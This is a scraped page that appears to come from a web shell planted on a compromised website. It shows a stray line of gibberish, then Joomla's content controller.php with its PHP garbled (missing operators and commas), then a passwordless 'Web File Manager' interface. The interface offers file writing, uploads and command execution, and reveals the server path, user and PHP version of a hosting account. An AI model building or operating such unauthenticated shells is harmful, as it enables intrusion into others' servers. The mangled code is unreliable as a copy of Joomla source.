( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖 <?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use 
Joomla\CMS\Component\ComponentHelper;

/**
 * Content Component Controller
 *
 * @since  1.5
 */
class ContentController extends JControllerLegacy
{
    
/**
     * Constructor.
     *
     * @param   array  $config  An optional associative array of configuration settings.
     * Recognized key values include 'name', 'default_task', 'model_path', and
     * 'view_path' (this list is not meant to be comprehensive).
     *
     * @since   3.0.1
     */
    
public function __construct($config = array())
    {
        
$this->input JFactory::getApplication()->input;

        
// Article frontpage Editor pagebreak proxying:
        
if ($this->input->get('view') === 'article' && $this->input->get('layout') === 'pagebreak')
        {
            
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }
        
// Article frontpage Editor article proxying:
        
elseif ($this->input->get('view') === 'articles' && $this->input->get('layout') === 'modal')
        {
            
JHtml::_('stylesheet''system/adminlist.css', array('version' => 'auto''relative' => true));
            
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }

        
parent::__construct($config);
    }

    
/**
     * Method to display a view.
     *
     * @param   boolean  $cachable   If true, the view output will be cached.
     * @param   boolean  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
     *
     * @return  JController  This object to support chaining.
     *
     * @since   1.5
     */
    
public function display($cachable false$urlparams false)
    {
        
$cachable true;

        
/**
         * Set the default view name and format from the Request.
         * Note we are using a_id to avoid collisions with the router and the return page.
         * Frontend is a bit messier than the backend.
         */
        
$id    $this->input->getInt('a_id');
        
$vName $this->input->getCmd('view''categories');
        
$this->input->set('view'$vName);

        
$user JFactory::getUser();

        if (
$user->get('id')
            || (
$this->input->getMethod() === 'POST'
            
&& (($vName === 'category' && $this->input->get('layout') !== 'blog') || $vName === 'archive' )))
        {
            
$cachable false;
        }

        
$safeurlparams = array(
            
'catid' => 'INT',
            
'id' => 'INT',
            
'cid' => 'ARRAY',
            
'year' => 'INT',
            
'month' => 'INT',
            
'limit' => 'UINT',
            
'limitstart' => 'UINT',
            
'showall' => 'INT',
            
'return' => 'BASE64',
            
'filter' => 'STRING',
            
'filter_order' => 'CMD',
            
'filter_order_Dir' => 'CMD',
            
'filter-search' => 'STRING',
            
'print' => 'BOOLEAN',
            
'lang' => 'CMD',
            
'Itemid' => 'INT');

        
// Check for edit form.
        
if ($vName === 'form' && !$this->checkEditId('com_content.edit.article'$id))
        {
            
// Somehow the person just went to the form - we don't allow that.
            
return JError::raiseError(403JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID'$id));
        }

        if (
$vName === 'article')
        {
            
// Get/Create the model
            
if ($model $this->getModel($vName))
            {
                if (
ComponentHelper::getParams('com_content')->get('record_hits'1) == 1)
                {
                    
$model->hit();
                }
            }
        }

        
parent::display($cachable$safeurlparams);

        return 
$this;
    }
}
File Manager (Güvensiz Simülasyon)

Web File Manager (Şifresiz)

Viewing File: controller.php

📄 File Browser

Directory:

Current Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js

✏️ Write/Create File

Filename:


⬆️ Upload File

💻 Command Execution

Command:

📊 Server Info

PHP Version: 8.2.30
Server: Apache
User: sarayaglobal
Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js